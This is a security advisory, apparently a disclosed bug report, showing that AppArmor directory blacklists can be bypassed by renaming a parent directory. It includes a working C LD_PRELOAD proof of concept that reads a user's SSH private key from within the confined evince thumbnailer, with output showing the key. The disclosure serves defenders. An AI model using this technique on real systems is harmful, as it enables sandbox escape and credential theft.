AppArmor Filesystem Blacklisting Bypass

Credit: Jann Horn
Risk: Medium
Local: Yes
Remote: No

AppArmor: filesystem blacklisting can be bypassed by moving parents Some AppArmor policies attempt to blacklist access to specific directories while broadly granting write access to everything else. For example, the Firefox profile uses the user-files abstraction, which broadly permits write access to owned files under /home while using the private-files abstraction to block access to some files like ~/.bashrc. Similar thing for the evince thumbnailer. This is broken because if an attacker has write access to ~/.ssh/, but access to ~/.ssh/** is blocked, it is possible to rename ~/.ssh to ~/.ssh_, access ~/.ssh_/id_rsa, and rename ~/.ssh_ back to ~/.ssh. Demo with evince: user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ cat preload5.c #define _GNU_SOURCE #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <err.h> __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); errno = 0; int fd = open("/home/user/.ssh/id_rsa", O_RDONLY); printf("open id_rsa direct: %d, error = %m\n", fd); if (rename("/home/user/.ssh", "/home/user/.sshx")) err(1, "rename"); errno = 0; fd = open("/home/user/.sshx/id_rsa", O_RDONLY); printf("open id_rsa indirect: %d, error = %m\n", fd); if (rename("/home/user/.sshx", "/home/user/.ssh")) err(1, "rename2"); char buf[1001]; errno = 0; int res = read(fd, buf, 1000); printf("read res: %d, error = %m\n", res); if (res > 0) { buf[res] = 0; puts(buf); } exit(0); } user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/ preload5.c -fPIC && LD_PRELOAD=/usr/lib/x86_64-linux-gnu/ evince-thumbnailer constructor running from evince-thumbnailer open id_rsa direct: -1, error = Permission denied open id_rsa indirect: 3, error = Success read res: 1000, error = Success -----BEGIN RSA PRIVATE KEY----- [...] user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh

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